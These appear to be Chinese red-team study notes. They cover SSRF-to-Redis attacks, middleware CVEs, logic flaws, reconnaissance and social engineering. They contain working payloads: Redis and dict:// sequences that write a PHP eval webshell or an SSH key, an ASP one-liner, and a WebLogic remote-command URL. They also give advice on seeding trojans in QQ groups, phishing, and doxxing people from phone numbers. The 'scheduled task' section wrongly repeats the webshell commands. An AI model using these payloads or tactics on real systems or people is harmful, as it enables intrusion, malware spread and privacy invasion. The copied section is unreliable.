dict词典网络协议,是一个在线网络字典协议,这个协议是用来架设一个字典服务的。可以用来操作redis,在ssrf中常利用此协议探测内网主机存活、内网应用程序

ssrf常用协议-gopher

gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大,ssrf中可以用来攻击redis、mysql等应用程序。

SSRF+dict redis写shell

dict://127.0.0.1:6379/info

dict://127.0.0.1:6379/config:set:dir:/var/www/html/

dict://127.0.0.1:6379/config:set:dbfilename:shell.php

dict://127.0.0.1:6379/set:1:“\x3C\x3Fphp%20@eval($_POST[‘cl4y’]);%20\x3f\x3e”

dict://127.0.0.1:6379/save

SSRF+gopher redis写shell

利用工具

https://github.com/tarunkant/Gopherus

Redis

redis是一个开源的、使用C语言编写的、支持网络交互的、可基于内存也可持久化的Key-Value、NoSQL非关系型数据库。

关系型数据库,是指采用了关系模型来组织数据的数据库。简单来说,关系模式就是二维表格模型。

主要代表:SQL Server,Oracle,Mysql,PostgreSQL。

NoSQL非关系型数据库,主要指那些非关系型的、分布式的,且一般不保证ACID的数据存储系统,主要代表MongoDB,Redis、CouchDB。

Redis命令

ping 检测是否连通且有权限执行命令

info 查看redis配置信息

keys * 读取全部key及其对应的值

get <key> 读取某个key值

set <key> 增加key

flushall 删除所有key

del key 删除某个key

config get dir 读取备份目录

config set dir 设置备份目录

config get dbfilename 读取备份文件名

config set dbfilename 设置备份文件名

slaveof slaveof PORT 设置主从关系

Redis未授权

Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

Redis未授权getshell

Redis在每次改变数据库文件位置的时候,将之前的数据重新写入,所以我们可以利用这个机制对服务器进行文件读写。

利用条件:

•具有root权限,或对相应目录有读写权限

Linux利用方式

•写入ssh公钥

•crontab定时任务反弹shell

•网站根目录写入webshell

(redis主从复制getshell)

Windows利用方式

•写入webshell

•写入启动项

•Windows2003写入MOF

Redis未授权写webshell
1
2
3
4
config set dir /var/www/html/
config set dbfilename shell.php
set 1 "\n\n\n<?php @eval($_POST['cl4y']); ?>\n\n\n"
save
Redis未授权写计划任务
1
2
3
4
config set dir /var/www/html/
config set dbfilename shell.php
set 1 "\n\n\n<?php @eval($_POST['cl4y']); ?>\n\n\n"
save
Redis未授权写ssh密钥
1
2
3
4
5
6
7
#本地生成公钥私对
ssh-keygen -t rsa
#上传公钥
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "rsa"
save
Redis主从复制getshell 4.x-5.x

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令。

1.本地编译好外部扩展即so文件

2.把so文件转码存入本地redis数据库

3.到目标服务器上设置主从关系,主服务器指定我们的本地redis
slaveof ip port

4.待同步后,设置备份路径和备份文件名(xx.so

5.然后加载备份数据库
module load ./exp.so

6.然后就可以通过redis执行命令反弹shell了
system.exec ‘whoami’

SSRF绕过

利用其他协议绕过

协议大小写绕过

8进制、16进制ip绕过

  • 0x7f.0.0.1

  • 0177.0.0.1

  • 2130706433

127.1绕过

利用 ? ## @

Localhost

127保留ip

nip.io域名解析

利用php函数对url解析的差异绕过限定

image-20220609225055833

DNS Rebinding

SSRF防御逻辑:

1.取URL的Host

2.取Host的IP

3.判断是否是内网IP,是内网IP直接return,不再往下执行

4.请求URL

5.如果有跳转,取出跳转URL,执行第1步

6.正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。

当TTL为0时就有可能发生SSRF

1.第2步中发向host起DNS请求,DNS服务器返回一个外网IP,通过验证进入第4步

2.第2步中重新发起DNS请求,由于TTL为0,所以远程DNS服务器重新返回了一个内网IP

3.判断完成,最终向内网IP发送请求

SSRF防御

•设置IP白名单

•限制请求的端口

•禁止不常用的协议

•过滤返回的信息

•统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。限制请求的端口

•对DNS Rebinding,可以使用Host白名单的方式,如果域名不可控,可以使用沙箱实现内网分离。

逻辑漏洞

逻辑漏洞概述

传统漏洞

随着网络安全法的实施、企业和用户安全意识的提高,Web安全已经成为了重点关注的方向。诸如使用安全开发框架、部署安全防护设备等防护手段的使用,使得网站的常规漏洞越来越少。以SQL注入为例,由于其危害巨大,曾常年稳居OWASP Top 10的第一位,目前很多Web开发框架在底层就直接杜绝的SQL注入问题。且大多数传统安全漏洞, 如SQL注入、XSS漏洞攻击的流量非法,对原始程序破坏,一般无法通过防火墙。

逻辑漏洞

逻辑漏洞是指由于程序逻辑不严导致一些逻辑分支处理错误造成的漏洞。开发者水平不一、安全意识不强,且业务发展迅速,内部测试不到位,这些问题都可能造成逻辑漏洞。且由于逻辑漏洞产生的流量多数为合法流量,传统的安全防御设备和措施收效甚微,一般的防护手段或设备无法阻止,这类问题往往危害巨大,可能造成了企业的资产损失和名誉受损。所以导致了逻辑漏洞成为了企业防护中的难题。

业务逻辑缺陷

支付逻辑

支付逻辑通常为:选择商品和数量 → 选择支付和配送方式 → 生成订单 → 订单支付 → 完成

最常见的支付逻辑漏洞通常是由于服务器端没有对客户端请求数据中金额、数量等敏感信息做校验。支付逻辑漏洞一般在电子商务网站上容易出现,在支付流程中由于没有对客户端请求数据中的金额、数量等敏感信息作校验,带来“0元购”、“1分购”等漏洞,会对商家带来大量经济损失。

•修改支付金额

•修改商品数量

•修改商品编号

•支付成功后修改订单数量或请求重放

•修改金额、数量为负数(负值反冲)

•修改支付的状态

•修改购买数量为负数

•并发数据库锁处理不当(条件竞争)

•个别参数影响总体。

虽然现在涉及到现金交易的功能一般都是调用第三方api完成,比如微信、支付宝等

但是在现金兑换成代币等物品,如CSDN的C币、各种论坛的金币后,再用代币实现交易的过程中,也会产生支付逻辑问题

身份验证机制缺陷

登录/注册/修改密码

任意用户、手机号登陆/注册/重置密码

•验证码可爆破、预测,或在response、api回显等

•用户名、手机号、验证码等信息未匹配校验

•可跳过验证步骤

•修改response信息可绕过验证

•重复、覆盖注册账户

•短信/邮箱轰炸

暴力破解

利用穷举法将所有的可能性一一尝试,理论上可以破解所有密码问题。实际测试中,考虑到攻击成本问题,通常使用字典攻击(Dictionary Attack), 即逐一尝试用户自定义词典中的可能密码(单词或短语)的攻击方式。利用Burp Suite中Intruder模块进行字典攻击。

可预测用户名

有些应用程序需要用户注册时用户名符合某一特定规则,如<姓名缩写>_<数字>这种形式,这种在学校注册学生账号时是比较常见的(学校缩写+学号)。

多余提示信息

登录失败后,提示如“用户不存在”、“密码错误”、“用户未注册”等信息,可以用来爆破用户名

弱口令

弱口令指容易被他人猜到的口令

  • 如12345678、123abc、zxcvbnm、生日、手机号。

  • 像学校、企业这种批量注册大量用户的应用程序,经常会为用户设置默认密码,攻击者可以通过公开信息推测默认密码规律。

  • 一些cms、服务器组件的初始化会设置初始密码,若投入业务后没有修改就会造成弱口令。

密码确认不完善

一些应用程序在用户注册设置密码时,出于一些原因往往会对密码进行如下处理,这样会会让攻击者提高爆破成功率

  • 截断前n个字符

  • 大小写不敏感

  • 删除特殊字符

撞库

撞库是攻击者通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。很多用户在不同网站使用的是相同的帐号密码,因此黑客可以通过获取用户在A网站的账户从而尝试登录B网址,这就可以理解为撞库攻击。

短信/邮箱轰炸

顾名思义就是可以无限制地发送短信,原理由于短信业务逻辑设计缺陷,没对短信发送次数做限制,导致可以大量重复发送短信验证码。该漏洞会对其他用户造成骚扰或使厂商的运营商短信费用的增加,造成损失。漏洞分为横向、纵向常发生在登录、注册等一些需要发生短信验证码。

绕过

•直接调用api

•修改/删除cookie

•修改IP

•修改response返回值

•手机号、邮箱前后增加空格、\n

•同时发送几个相同手机号

•邮箱大小写

•更换账户

权限管理缺陷

越权

越权漏洞是Web应用程序中一种常见的安全漏洞,分为水平越权和垂直越权。它的威胁在于一个账户即可操作、控制全站用户数据、普通账户越权成为管理员账户等等,当然这些操作、控制仅限于存在漏洞功能对应功能。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。

未授权访问

未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷,导致攻击者可以绕过权限认证直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。

目前主要存在未授权访问漏洞的有:NFS服务,Samba服务,LDAP,Rsync,FTP(匿名登陆),GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo 等。

越权常见挖洞手法

•操作时分析请求中的数据包,看看每个参数的作用,修改、删除参数查看变化。如“id”,“user_id”,“value”,“pid”,“post_id”等参数

•拥有更多权限的账号,把能访问的URL都提取出来,给低权限用户访问或者直接访问,查看能否访问。

•猜测隐藏的API,如:guest/getorder,修改成admin/getorder。

•通过搜索引擎,或者提取JS中的URL,查找隐藏功能

•猜测隐藏的参数,添加进去查看变化,如修改信息的时候加个ID。

•抓取所有的数据包,搜索用户名等关键词,比如我的用户名是test,在burpsuite中的HTTP history搜索test,看看有没有哪个数据包包含这个参数,将其修改为其他的用户名,查看变化。

JWT伪造

•flask sesson伪造(flask的sesson是保存在客户端的,如果加密处理不到位就可能通过session伪造完成越权)

JWT概述

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。

JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息(token),以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

JWT组成

JWT是由三段信息构成的,将这三段信息文本用链接一起就构成了Jwt字符串。

  • 第一部分我们称它为头部(header),它通常称在两部分信息,然后base64编码。

    • 声明类型,这里是jwt

    • 声明加密的算法 通常直接使用 HMAC SHA256

  • 第二部分我们称其为载荷(承载的有效信息,然后base64编码)

  • 第三部分是签证(signature).

    • 第三部分需要base64加密后的header和payload使用 . 连接组成的字符串通过header中声明的加密方式进行加盐secret组合加密。这个secret是保存在服务器的,是生成jwt的密钥,如果泄漏,用户将可以自己签发JWT

中间件漏洞

中间件漏洞概述

中间件

是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)。Web业务中,我们经常管web中间件叫做web服务器或者web容器。

常见web中间件及其漏洞概述

IIS

1、PUT漏洞

2、短文件名猜解

3、远程代码执行

4、解析漏洞

Apache

1、解析漏洞

2、目录遍历

Nginx

1、文件解析

2、目录遍历

3、CRLF注入

4、目录穿越

Tomcat

1、远程代码执行

2、war后门文件部署

JBoss

1、反序列化漏洞

2、war后门文件部署

WebLogic

1、反序列化漏洞

2、SSRF

3、任意文件上传

4、war后门文件部署

5、Weblogic 管理控制台未授权远程命令执行漏洞

其它中间件相关漏洞

1、FastCGI未授权访问、任意命令执行

2、PHPCGI远程代码执行

PHP中间件漏洞

Apache 文件解析漏洞

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

AddType text/html .html

AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员添加了如下配置:

AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

但是在低版本apache中,如果没有上述配置,也可以造成文件解析漏洞:

上传一个shell.php.xxx文件,apache解析文件后缀名是从右向左的顺序,首先会读取到.xxx,因为apache并不认识这个后缀,或者说找不到这个后缀应该交给谁解析,那么会向左继续读取下一个后缀.php,然后交给php解析

Apache 换行解析漏洞 CVE-2017-15715

影响版本 httpd 2.4.0~2.4.29

httpd 2.4.0~2.4.29版本中在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

Nginx 文件解析漏洞

是由于php中的选项cgi.fix_pathinfo的默认值被开启,所以当nginx看到.php结尾的文件就交给了php处理

此时我们上传一个shell.png,然后访问shell.png/shell.php,当nginx发现文件扩展名为php,便将uri交给php处理,在php默认的配置下,发现shell.php并不存在,则向上一级目录修正,读取shell.png,shell.png是图片马,最终利用成功

Nginx 文件名逻辑漏洞 CVE-2013-4547

影响版本 Nginx 0.8.41~1.4.3 Nginx 1.5.0~1.5.7

受影响版本中,由于nginx正则后缀名出的逻辑漏洞,导致请求1.gif[0x20][0x00].php,这个URI可以匹配上正则.php$,可以进入Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。

如下图可见,当前nginx环境cgi.fix_pathinfo被关闭,不能利用文件解析漏洞

IIS中间件漏洞

IIS 文件解析漏洞

  • 影响版本 IIS5.x/6.0

在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:

/test.asp/test.jpg

test.asp;.jpg

  • 影响版本 IIS7.0/IIS 7.5

与nginx文件解析漏洞类似

/test.asp/test.jpg目录解析

/test.asp中的任何文件都被 IIS 当作 asp 程序执行

test.asp;.jpg文件解析

影响版本下分号后面的后缀不被解析

此外IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp

IIS PUT漏洞

影响版本 IIS6.0

利用条件 开启WebDAV 和写权限

  1. 通过OPTIONS请求方式可以看到服务端允许PUT请求

  2. 先利用PUT上传shell.txt,内容为asp一句话

<%eval request(“cl4y”)%>

  1. 然后利用MOVE 或 COPY请求方式将shell.txt改为shell.asp;.jpg,(这里直接修改shell.asp同样会出现403)

IIS 短文件名漏洞

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。 IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。

IIS 远程代码执行

在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行。

curl访问靶机

curl http://10.1.1.134 -H “Host: 10.1.1.134” -H “Range:bytes=0-18446744073709551615”

18446744073709551615转为十六进制是0xFFFFFFFFFFFFFFFF,会造成整数溢出

Java中间件漏洞

Tomcat PUT写入文件漏洞 CVE-2017-12615

影响版本 Tomcat 7.0.0 – 7.0.81

利用条件 开启readonly设置为了false

Tomcat 运行在Windows 主机上,且readonly为false(开启put),可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。

不能直接上传shell,但是可以通过上传shell.jsp/的方式绕过

Tomcat7+弱密码&&后端Getshell漏洞

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。Tomcat7+的权限如下:

manager(后台管理)

​ manager-gui 拥有html页面权限

​ manager-status 拥有查看status的权限

​ manager-script 拥有text接口的权限,和status权限

​ manager-jmx 拥有jmx权限,和status权限

host-manager(虚拟主机管理)

	admin-gui 拥有html页面权限

	admin-script 拥有text接口权限

此类型漏洞在JBoss 和 WebLogic中同样存在

基础认证

是允许http用户代理(如:网页浏览器)在请求时,提供用户名 和 密码的一种方式。

基础认证特征

请求的HTTP头字段会包含Authorization字段:

Authorization: Basic YWRtaW46MTIzNDU2

base64加密后的admin:123456

burpsuite如何对其爆破

•payload type选择Custom iterator(自定义迭代器)

•设置自定义payload

•在Payload Processing中点击add添加相应的加密base64

在最后的Payload Encoding中取消urlencode加密特殊字符

WebLogic SSRF漏洞

  • Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。访问开放的端口会返回如下信息

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

  • Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。访问关闭的端口会返回如下信息,通过错误的不同,即可探测内网状态。

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000

WebLogic管理控制台未授权RCE CVE-2020-14882,CVE-2020-14883

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面

/console/css/%252e%252e%252fconsole.portal

访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码,此时需要利用CVE-2020-14883至行代码

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

Weblogic 任意文件上传漏洞 CVE-2018-2894

Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

打点与信息收集

外网信息收集

概述

拿到一个目标,不考虑钓鱼的情况下。如果正常从web入手,至少需要收集以下的信息。

公司级别

•公司的域名

•公司的子域名

•全资子公司(可能从下级单位打上去,但是光打了下级算不算分得看裁判和规则怎么评估)

•公司的ip信息(大公司可以直接跑C段)

ip级别

当我们拿到了一系列的ip和域名以后,对于已经确定的ip,需要进行至少以下的信息收集

•ip是否为真实ip

•ip开启了哪些端口,可能存在哪些漏洞

用户级别

用户级别主要是涉及拿到一些用户的用户名等。便于进行暴力破解。

•github,google语法,官网,看官网邮箱格式,根据公司名字猜,

•还有公告里泄露人名,

•一些通用的如公司首字母+数字等。

企业架构信息收集

获取目标域名

•直接百度公司,看看有无官网,官网一般是主域名

•查看天眼查,企查查,域名备案等获取主域名

•利用whois查询,whois反查获取域名相关信息

•利用app查询公司的域名。

•利用股权穿刺图查看公司的子公司域名

根域名资产收集

ICP备案信息进行收集

中华人民共和国境内提供非经营性互联网信息服务,应当依法履行备案手续。未经备案,不得在中华人民共和国境内从事经营性互联网信息服务。目前只要是企业在中国境内需要提供互联网服务,都必须通过ICP工商备案才能运行。而ICP备案信息属于公开纰漏的信息,

可以在ICP/IP地址/域名信息备案管理系统(https://beian.miit.gov.cn/)进行查询,一般我们都是对企业或者政企单位进行渗透测试,这些域名都是需要在该系统中进行备案等级的。

工商股权信息收集

目前国内所有的企业,无论是私营企业还是国有企业都需要进行工商登记后才能进行企业正常运营。国家在这方面数据是可以通过公开渠道进行查询的,

可以通过国家企业信用信息公示系统(http://www.gsxt.gov.cn/index.html)查询指定企业的工商注册信息,

国内也有一些企业通过爬虫/数据合作方式将企业相关的数据通过数据分析方法关联在一些,比如企查查、天眼查、启信宝等等,我们可以通过这些平台查询到目标企业旗下其他业务的子公司名称,通过子公司的ICP备案信息再进一步扩展其他的根域名数据。

Whois数据信息收集

每个域名的注册都必须对外公开Whois数据,但是现在很多域名商默认都会开启域名隐私保护,我们就需要借助一些数据平台查询域名历史的Whois信息来进行关联了,

我们可以通过Whois网站http://whois.chinaz.com查询利用ICP备案信息进行收集和工商股权信息收集收集到的域名的历史Whois信息

SSL证书扩展

SSL/TLS证书通常包含域名、子域名和邮件地址等信息,结合证书中的信息,可以更快速地定位到目标资产,获取到更多目标资产的相关信息。

企业在申请证书的时候一般会将同类业务域名的申请成一张成熟,一方面是出于成本考虑,还有一方面也是方面对证书进行同一的管理。

我们通过查询证书内容包含域名的证书信息可以发现证书的DNS Names中还会有其他的业务域名。

子域名信息收集

子域名,凡顶级域名前加前缀的都是该顶级域名的子域名,子域名根据技术的多少分为二级子域名,三级子域名,多级子域名。子域名是某个主域的二级域名或多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名。

https://github.com/shmilylty/OneForAll

https://github.com/knownsec/ksubdomain

https://github.com/timwhitez/rad-xray

https://github.com/lijiejie/subDomainsBrute

https://github.com/projectdiscovery/subfinder

•fofa/quake/hunter

第三方网站查询

http://tool.chinaz.com/subdomain

https://dnsdumpster.com

证书透明度公开日志枚举

https://crt.sh/

http://censys.io/

其他途径

https://phpinfo.me/domain

http://dns.aizhan.com

https://hackertarget.com/find-dns-host-records/

https://site.ip138.com

IP信息收集

域名转化为ip的工具,同时能够将C段整理出来。

https://github.com/EdgeSecurityTeam/Eeyes

之后可以尝试扫描一下c段,因为有ehole能够直接整理出重点资产,比较方便。推荐的扫描工具。

https://github.com/shadow1ng/fscan

https://github.com/Adminisme/ServerScan

https://github.com/EdgeSecurityTeam/EHole

真实ip

海外ping

•因为CDN 的原因,国内的站用国外ping,反之亦然,可能获取真实IP。有些子域名可能由于成本的原因没有用CDN,所以要尽可能的多收集子域名,从而有效判断真实ip。

zoomeye/fofa/shodan

•同上反查操作,能找出一批IP,再进行鉴别

历史解析ip和ip的历史解析域名

旁站和C段

有一定防范意识的目标,一般都会将自己的web 单独托管,如果有旁站或C 段看起来比较奇怪,基本也可以认为不是真实IP

端口扫描

当确定了目标大概的ip段后,可以先对ip的开放端口进行探测,一些特定服务可能开起在默认端口上,探测开放端口有利于快速收集目标资产,找到目标网站的其他功能站点。

https://github.com/shadow1ng/fscan

https://github.com/Adminisme/ServerScan

APP中的域名/IP:

在天眼查里面查到的企业关联信息,可以用这些企业信息在app商店里面搜索。也可以在官网的办公平台找找有无内部使用的app,如企业自研的办公软件。

https://www.qimai.cn/

网络资产测绘信息收集

目前网络上比较知名的网络空间检索平台有白帽汇的fofa、360的quake、知道创宇的zoomeye、安恒的sumap、奇安信的hunter、以及国外的shodan。

https://fofa.info/

https://www.zoomeye.org/

https://quake.360.cn/quake/welcome#/

https://hunter.qianxin.com/

字段名称 字段说明
title 网站标题
body 正文,或者说响应体
cert 证书内容
ip ip或ip段
port 端口
protocol 协议
server http headers里面的Server字段
base_protocol 传输层协议
os 系统
asn 自治域号码
status_code web状态码
icon_hash 图标hash
region 地区
app 应用指纹

证书查询

证书内容其实就是一个文本内容,结合证书中的信息,可以更快速地定位到目标资产,获取到更多目标资产的相关信息。

网站备案

国内除了zoomeye,基本都有对备案有简单的支持,可以对备案号进行搜索,

Web信息收集

指纹识别

利用web的js里面可能会泄露web框架的相关信息,或者根据网站的图标,错误页面,下方的开发公司等去确定网站可能采用了什么框架。

https://github.com/zhzyker/dismap

https://github.com/s7ckTeam/Glass

https://github.com/EdgeSecurityTeam/EHole

https://github.com/0x727/ObserverWard_0x727

•wappalyzer

•Goby

在线的网站查询CMS

•BugScaner: http://whatweb.bugscaner.com/look/

•潮汐指纹:http://finger.tidesec.net/

•WhatWeb: https://whatweb.net/

•云悉指纹: http://www.yunsee.cn/finger.html

https://fp.shuziguanxing.com/#/

手工识别

•根据HTTP响应头判断,重点关注X-Powered-By、cookie等字段

•根据HTML 特征,重点关注body、title、meta等标签的内容和属性。

•根据特殊的class判断。HTML 中存在特定class 属性的某些div 标签,如<body class="ke-content">

敏感目录/文件收集

对目标网站做目录扫描。在web渗透中,探测Web目录结构和隐藏的敏感文件是一个十分重要的环节,从中可以获取网站的后台管理页面、文件上传界面、robots.txt,甚至可能扫描出备份文件从而得到网站的源代码。

•dirsearch

•小米范系列工具

https://github.com/broken5/bscan

•Dirmap

后台收集

这里专门把后台收集提出来,是因为后台并不是说路径扫完了没了就没有了。有可能字典不包含。碰到这种情况,可以尝试以下方法:

•可以去搜一下有没有相同的框架说明文档看看后台地址。

•根据他网站文件的命名格式去看一下有没有可能重名。

•在网页上看看有没有暴露出后台的接口

•在js中搜一下admin,system等关键字看看能不能拼接处后台地址。

•根据url地址,直接把user改为admin等等。

敏感文件收集

查看开发者工具中js,然后对于一些js文件搜索password username等关键字

https://github.com/m4ll0k/SecretFinder

https://github.com/Threezh1/JSFinder

https://github.com/rtcatc/Packer-Fuzzer

https://github.com/p1g3/JSINFO-SCAN

网站内容的敏感数据

这种对有些ZF很有用。经常会碰到邮箱账号密码都写在主页里的。所以对于一些文章啊,可以浏览一些。说不定也能看到一些收购计划之类的,扩大我们的攻击面。

•策划书

•默认密码

•通讯录

社交平台

QQ

•在QQ群中搜索目标关键字,加群即可,然后根据群内聊天内容,适当调整木马名称上传至群共享,上线率极高。

贴吧

•搜索公司名,重点关注关键字,如学校目标就在贴吧内搜索学号等

脉脉

•网页版直接搜索xxx公司,然后查看人脉即可获取员工基本信息(可能需要会员)

•移动版直接在首页搜索xxx公司,然后点击查看全部员工(需要会员)

•移动版搜索公司名称时会弹出该公司的相关内容,可能会出现子公司名称,可以记录一下

网盘搜集

奖学金、名单等等

代码泄露

github是目前世界上最大、最流行的代码仓库。作为一个代码仓库,github同时也是敏感信息泄露的重灾区。攻击者可以使用github搜索语法搜索特定组织的邮箱信息。如可以使用github关键词:email baidu.com搜索在github上的baidu.com的邮箱信息。

在代码共享平台上时常有代码泄漏,并且代码中时常包含服务器、数据库的地址帐号密码等敏感信息。

在对目标网站测试时,经常会看到网站报错,从错误提示的包名中可以看到这是哪家公司开发的代码,然后再对应包名去github/gitee上搜索有没有这家公司的开发、运维人员存在信息泄漏。

当然也会有些目标企业有自己的IT团队,所以在github/gitee搜索目标名字有时也是有收获的。

github信息泄露监控

https://github.com/0xbug/Hawkeye

https://github.com/MiSecurity/x-patrol

https://github.com/VKSRC/Github-Monitor

社工信息

知道QQ

•通过QQ 邮箱和QQ 号搜索支付宝、淘宝账号等其他可能的常用平台

•去腾讯\新浪微博搜索

•通过微信搜索

•查看QQ 空间\相册\地区\星座\生日\昵称(后续构建字典以及跨平台搜集)

•通过说说、留言、日志找到其好友

•加QQ 钓鱼\共同好友\可能认识的人

知道手机号

•搜索QQ、微信、钉钉等社交账号

•在比较火的一些APP 和网站上注册或忘记密码来判断是否注册过账

•查询支付宝、QQ 交易账号,尝试输入常见姓氏获取名字(转账到该手机号,会提示输入姓氏验证)

•通过对方的职业、兴趣找到该领域知名度较高的社交网站反查

•根据在QQ 空间、朋友圈等动态用百度识图识别照片

•在微博、ins、Twitter、fb、百度贴吧搜索相近关键字,按地域、年龄、男女、用户名等筛选

留意社交动态

•使用什么客户端iPhone Android 还是浏览器

•针对客户端预先制定exploit

•注意每一条链接/ 图片/ 视频链接可能包含用户ID

•图片可能包含水印,exif可能会有GPS 定位和手机类型,图片内容特征

•视频也有可能有水印暴露社交账号ID, 拍摄地点

•从最早发布的动态看起,会有很大收获

•一般得到一个账号的密码就相当于得到了其他账号的密码

•一般人不同账号的用户名都是相同或相近的

•一般人的社交账号头像用的都是一样的

•尝试破解社保、公积金账号、身份证号(出生地、生日、星座、派出所代码)

邮箱钓鱼

寻找目标开放的邮件服务端口和web端邮箱入口:

•通过扫描c段找到入口:

当我们拿到目标网站的时候,首先要先从MX记录域名找到他的真实ip地址(某些目标可能是第三方邮件服务器,这种情况mx记录没啥用了);然后针对这个ip地址的c段进行扫描(25、109、110、143、465、995、993端口),一般情况下都很容易找到目标的邮件服务器入口

通过扫描子域名的的方式找到邮件入口

通过搜索引擎爬取

•Google hack 搜索;

•百度、搜狗、360、bing。

•site:target.comintitle:“OutlookWeb App”

•site:target.comintitle:“mail”

•site:target.comintitle:“webmail”

•Shodan、fofa、zoomeye搜索等。

批量收集目标邮箱的一些常规途径

https://hunter.io/

http://www.skymem.info/

https://www.email-format.com/i/search/

https://github.com/bit4woo/teemo

https://github.com/laramies/theHarvester

•从搜索引擎、空间搜索引擎、社交、招聘网站等搜邮箱

•python3 theHarvester.py -d xxx.com -l 1000 -b all -f test.html

验证邮箱

在收集邮箱之后,我们要对邮箱进行验证,因为有些邮箱目标企业人员已经放弃或不用(离

邮箱爆破

这种方式的弱口令爆破只适用于目标企业自己的邮件服务器如owa等像百度腾讯阿里网易的邮箱不优先考虑。

用到的工具medusa、hydra、SNETCracker、APT34组织owa爆破工具等。

另外邮箱用户名与密码往往还会使用公司简称+2019,2020等社工口令,多一个字典就多一份成功率。

快速打点突破

介绍

通常我们在hw行动中获得的通道管理权限是一个企业网站shell、vpn权限或是是根据社工方法获得到的终端设备管理权限,根据这一通道点深化撕掉口子进到局域网数据漫游。

第一个环节要对总体目标的组织结构、it互联网资产、比较敏感数据泄露、供应商信息等各个领域开展搜集。

攻防演练中得分项只关注两点,权限&数据:权限类型分为系统权限和应用权限,权限高低又分为管理员权限和普通用户权限。数据一般是要四件套,姓名,手机号,身份证,住址。

通常护网行动的总体目标企业为政府部门、国营企业、高等院校、医疗机构及其电力能源、电力工程、公共交通等重要信息内容基础设施建设企业。通常医疗机构和高等院校是比较好打的。

